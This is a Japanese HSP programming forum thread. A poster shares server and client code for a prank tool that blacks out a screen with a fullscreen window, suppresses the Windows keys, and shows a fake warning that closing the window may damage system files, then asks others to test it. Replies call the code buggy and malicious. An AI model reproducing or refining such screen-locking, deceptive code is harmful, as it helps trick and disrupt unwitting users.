HSPTV!掲示板

以前に質問しましたが、
いちおう、完成しました。
クライアントが接続待ちの常態になり、
サーバーからアクセスすることで、
真っ暗（cls4 の 全画面表示 の windowsキー無効化）
にすることが出来ます。
動作テストが出来ないため、
ご協力ください。
また、間違っている点は、指摘やアドバイスをくださると
ありがたいです。

title "サーバー"
width 200,75

objsize 200,75 : button "接続",*setuzoku
stop
;///////////////////////////////////////////////////////////
*setuzoku

#include "hspsock.as"

	title "TCPサーバーテスト"
*main
	port=999
	ipget

	sockmake 0,port
	if stat : dialog "Socket error": goto *errbye

	a=0
	repeat
	sockwait 0
	title "CHK="+stat+"/"+a
	if stat>1 : dialog "Socket error": goto *errbye
	if stat=0 : break
	a+
	wait 100
	cls 4
	loop
;///////////////////////////////////////////////////////////■クライアント処理■////////////////////
bgscr 2,ginfo_dispx,ginfo_dispy
cls 4
gsel 2,2
;///////////////////////////////////////////////////////////■１０回クリックすると終了■
*y
cls 4
z+1
if z>10 : goto *x ;１０回クリックすると終了する。
onclick goto *y
stop
*x
end
;///////////////////////////////////////////////////////////■windowsキー無効化■
#include "user32.as"
#define VK_LWIN 0x5b
#define VK_RWIN 0x5c
#define VK_SHIFT 0x10
#define KEYEVENTF_KEYUP 2
#define WM_KEYDOWN 0x0100
oncmd gosub *lb_OnKeyDown, WM_KEYDOWN
stop
*lb_OnKeyDown
if (wParam != VK_LWIN) & (wParam != VK_RWIN) : return
keybd_event VK_SHIFT, 0, 0, 0
keybd_event VK_SHIFT, 0, KEYEVENTF_KEYUP, 0
return
;///////////////////////////////////////////////////////////////////////////////////////////////////
*bye
	sockclose
	goto *main				; サーバーを続ける

*errbye
	sockclose
	mes "終了"
	stop

■■■■■■

title "クライアント"
width 200,75
;///////////////////////////////////////////////////////////
mes "Now loading..."
mes "Please wait..."
pos 100,50 : objsize 100,20 : button "閉じる",*exit
pos 0,50 : objsize 100,20 : button "透明化",*toumeika
goto *setuzoku
stop

*exit
dialog {"このウィンドウはシャットダウン時に自動で切れます。
         今すぐ終了した場合、システムファイルに影響が出る可能性があります。"}
         
*toumeika
#include "user32.as"
bgscr 0,640,480,700,0
boxf 150,100,0,768
GetWindowLong hwnd,-20
SetWindowLong hwnd,-20,stat|$80000
SetLayeredWindowAttributes hwnd,0xffffff,128,3

;///////////////////////////////////////////////////////////
*setuzoku
	#include "hspsock.as"
	title "TCPクライアントテスト"
*main
	adr="127.0.0.1"
	port=999
	
	sockopen 0,adr,port

	a=0
	repeat
	sockcheck 0
	if stat!=0 : break
	wait 10
	a+
	loop

	a=""
	sockget a,64

	wait 10
	goto *main

・・・そんなモンは一人で楽しんでくれ。

自分でも動作テストは出来るでしょ？
これは画面が真っ暗になるジョークソフトですか？

・・・。
これ、「自分のところで動作テスト出来ない」んじゃなくて、バグってるだけちゃうかいのう？
実行してないのでアレだが、流れを見るにつけ。


クライアント側はなんか受信したらcloseもせずにまたopenしてるし、そもそもそれ以外の事してないし。
サーバ側の方に画面を隠すコードがあるようだし。クライアントから接続があっただけで、問答無用でサーバ側の画面隠すようだし。

まぁ悪質なコードではある。
多分、悪質なソフトウェアの検知ツールで警告が出ると思う。

age